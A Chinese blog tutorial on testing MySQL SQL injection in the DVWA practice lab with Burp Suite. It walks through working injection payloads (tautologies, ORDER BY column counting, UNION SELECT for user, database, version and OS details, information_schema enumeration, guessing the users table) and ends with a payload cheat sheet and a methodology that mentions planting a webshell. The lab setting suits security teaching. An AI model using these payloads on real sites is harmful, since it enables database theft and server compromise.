SQL注入之DVWA平臺測試mysql注入

今天主要針對mysql常用注入語句進行測試。

測試環境與工具:

測試平臺:DVWA,下載地址:http://down.51cto.com/data/875088,也可下載metaspolit-table2虛擬機,裏面已經部署好了dvwa.。

***工具:burpsuite-1.4.07下載地址:http://down.51cto.com/data/875103

    首先我們介紹下DVWA和Burpsuite,DVWA這是一個php+mysql平臺構建的預置web常見漏洞的***練習平臺。能夠幫助web應用安全研究人員很好了解web漏洞。Burpsuite是一款功能強大的web***測試工具。

    SQL注入漏洞在OWASP TOP 10威脅中,一直排名第一,安全威脅可見一斑。SQL注入***測試過程中,針對不同的數據庫平臺,注入語句選擇也不同,本篇筆者主要測試mysql注入的常用語句以及***思路。

 

登錄訪問DVWA,默認用戶名:admin密碼:password.

登錄之後,將dvwa的安全級別調成low,low代表安全級別最低,存在較容易測試的漏洞。

1、找到SQl Injection 選項,測試是否存在注入點,這裏用戶交互的地方爲表單,這也是常見的SQL注入漏洞存在的地方。正常測試,輸入1,可以得到如下結果

當將輸入變爲“'”時,頁面提示錯誤“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1”,結果如圖。看到這個結果,我們可以欣慰的知道,這個表單存在着注入漏洞。

2、嘗試遍歷數據庫表,由於用戶輸入的值爲ID,因此我們習慣判斷這裏的注入類型爲數字型,因此嘗試輸入:1 or 1=1 ,看能否把數據庫表中的內容遍歷出來。可是結果如下,並沒有顯示出所有信息

於是猜測,是否後臺應用程序將此值看做了字符型,於是輸入:1'or'1'='1,結果,遍歷出了數據庫中的所有內容,如果是重要數據庫表,可能這個信息已經對於***者,有了足夠意義:如圖

1'or'1'='1

3、測試查詢信息列數。利用語句order by num 

這裏我們輸入 " 1'order by 1 -- " 結果頁面正常顯示,注意-- 後面有空格。繼續測試,1'order by 2 -- ",1'order by 3 -- ",當輸入3是,頁面報錯。頁面錯誤信息如下,Unknown column '3' in 'order clause',由此我們判斷查詢結果值爲2列。

1'order by 1 --

1'order by 3 --

Unknown column '3' in 'order clause'

4、通過得到連接數據庫賬戶信息、數據庫名稱、數據庫版本信息。利用user(),及database(),version()等三個內置函數。

這裏嘗試注入 “1' and 1=2 union select 1,2 -- ”結果如下

1' and 1=2 union select 1,2 -- 

從而得出First name處顯示結果爲查詢結果第一列的值,surname處顯示結果爲查詢結果第二列的值,利用內置函數user(),及database(),version()注入得出連接數據庫用戶以及數據庫名稱:

1' and 1=2 union select user(),database()  -- 

連接數據庫的用戶爲root@localhost,數據庫名稱爲dvwa,進一步利用函數version(),嘗試得到版本信息,1' and 1=2 union select version(),database()  -- ”便得到了版本信息,

1' and 1=2 union select version(),database()  -- 

5、獲得操作系統信息。

1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --

6、測試連接數據庫權限:

 1' and ord(mid(user(),1,1))=114 -- 

7、查詢mysql數據庫,所有數據庫名字:這裏利用mysql默認的數據庫infromation_scehma,該數據庫存儲了Mysql所有數據庫和表的信息。

1' and 1=2 union select 1,schema_name from information_schema.schemata -- 

8、猜解dvwa數據庫中的表名。利用1‘ and exists(select * from 表名),此處表名猜解可以通過brupsuit掛字典猜解。這裏測試的結果,表名爲users,burpsuite如何自動注入,在稍後文章進一步介紹。這裏猜解表名,在真實***測試環境中,***者往往關心存儲管理員用戶與密碼信息的表。

1' and exists(select * from users) --

 

9、猜解字段名:1' and exists(select 表名 from users) -- ,這裏測試的字段名有first_name,last_name

1' and exists(select first_name from users) -- 
ID: 1' and exists(select last_name from users) -- 

10、爆出數據庫中字段的內容 1' and 1=2 union select first_name,last_name from users -- ,這裏其實如果是存放管理員賬戶的表,那麼用戶名,密碼信息字段就可以爆出來了。

以上是筆者根據dvwa平臺sql injection漏洞對mysql常用語句所做的測試。這裏我們可以大致總結***的一般思路:

1、尋找注入點,可以通過web掃描工具實現

2、通過注入點,嘗試獲得關於連接數據庫用戶名、數據庫名稱、連接數據庫用戶權限、操作系統信息、數據庫版本等相關信息。

3、猜解關鍵數據庫表及其重要字段與內容(常見如存放管理員賬戶的表名、字段名等信息)

4、可以通過獲得的用戶信息,尋找後臺登錄。

5、利用後臺或瞭解的進一步信息,上傳webshell或向數據庫寫入一句話***,以進一步提權,直到拿到服務器權限。

今天筆者只在dvwa平臺現有環境下,簡單測試了mysql幾個常用注入語句:

1' order by 2 --   /*用來猜解查詢信息的列數

1' and 1=2 union select user(),database(),-- 

1' and 1=2 union select user(),version(), -- /*利用user(),database(),version()函數獲得數據庫信息

1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*獲得操作系統信息1' and ord(mid(user(),1,1))=114 --  /*測試連接數據庫用戶權限

1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有數據庫名稱1' and exists(select * from users) -- /*猜解表名

1' and exists(select first_name from users) -- /猜解字段名

1' and 1=2 union select first_name,last_name from users -- /*猜解字段內容

 

關於mysql注入測試,就簡單介紹到這裏,如有錯誤,歡迎指正。關於brupsuite如何自動注入,將在其他篇章介紹。

 

 

 

 

 

  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章